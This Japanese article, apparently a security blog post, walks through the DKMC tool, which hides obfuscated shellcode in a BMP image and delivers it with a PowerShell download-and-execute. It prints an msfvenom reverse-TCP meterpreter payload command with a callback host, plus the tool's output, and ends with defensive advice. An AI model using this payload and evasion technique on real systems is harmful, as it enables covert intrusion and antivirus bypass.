
普通の写真は脅威になる可能性があり、情報セキュリティインシデントを解析するときに画像をダウンロードするという事実に注意を払う価値はありますか? これとDKMCツールの例を使用して、このテキストの他の質問に答えます(
D on't
K ill
M y
C at)。
ポイントは何ですか?
下の画像を見てください。

彼に奇妙な何かが見えますか?
異常なものは見当たりません。 この画像はjpeg形式でサイトにアップロードされますが、元の画像はbmp形式で保存されます。 HEXエディターでソースbmpファイルを見ると、目立った奇妙さも見られません。

ただし、このイメージには、0x00200A04に難読化されたシェルコードが含まれています。 同時に、画像に奇妙なピクセルは見られません。 実際、BMPヘッダーでは、画像の高さが人為的に削減されています。 フルサイズでは、画像は次のようになります。 右上隅に注意してください。

元の画像の高さは、悪意のある画像よりも5ピクセル高くなっていますが、人にとっては、通常これは目立ちません。
インジェクションは、ファイルが始まるファイルのタイプを示すバイト(ASCIIのBM、16進数)が42 4Dであり、アセンブラー命令に変換されたときに実行エラーが発生せず、ヘッダーのそれ以降の8バイトが画像の解釈に影響します。 したがって、これらの8バイトを任意のアセンブラー命令で埋めることができます。たとえば、イメージに格納されているシェルコードを示すjmp命令を記述することができます。 0x00200A04で。
次に、グラフィック形式で表示するのではなく、イメージに保存されているコードを何らかの方法で実行する必要があります。
たとえば、PowerShellコマンドのセットを使用できます。
私が説明したすべてのアクションはすでに自動化されており、DKMCツールにまとめられています。これについては、以下で検討します。
これは本当に機能しますか?
このツールは
GitHubで利用でき、インストールは不要です。 リポジトリには、DKMCの動作の詳細を説明する
プレゼンテーションがあります。
打ち上げ
python dkmc.py
いくつかのアクションが利用可能です

まず、シェルコードを作成する必要があります。 これにはmsfvenomを使用できます。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=4444 -f raw > mycode
ホスト192.168.1.3、ポート4444に、バイナリ形式でバックコネクトシェルが生成されます。
次に、scメニューオプションを使用して、将来使用するためにコードをHEX形式に変換します。

次に、genコマンドを使用してシェルコードインジェクション用のBMPイメージを選択します

そして私たちは結論を得る
(generate)>>> run [+] Image size is 1000 x 700 [+] Generating obfuscation key 0x14ae6c1d [+] Shellcode size 0x14d (333) bytes [+] Adding 3 bytes of padding [+] Generating magic bytes 0x4d9d392d [+] Final shellcode length is 0x19f (415) bytes [+] New BMP header set to 0x424de9040a2000 [+] New height is 0xb7020000 (695) [+] Successfully save the image. (/root/av_bypass/DKMC/output/prettycat.bmp)
シェルコードが難読化され、最終サイズが変更され、ジャンプ命令を含むBMPヘッダーが変更され、高さが700ピクセルから695に削減されたと書かれています。
次に、psコマンドを使用して、powershellコマンドを生成し、Webサーバーからこのイメージをダウンロードして実行することができます

webコマンドを使用すると、すぐにWebサーバーを起動してこのイメージを提供できます

Wiresharkスニファーを起動し、被害者側でPowershellスクリプトを実行するとネットワーク上で何が起こるかを確認します

被害者は通常のHTTPリクエストを開始し、写真を受け取ります。私たちはmetterpreterセッションです

イメージを「通常の」方法で起動することはできないため、セキュリティ機器と技術専門家の両方がそのコンテンツに「軽く」関連付けることができます。 この例では、侵入防止システムの構成を慎重に検討し、情報セキュリティの世界のニュースをフォローし、注意を喚起することをお勧めします。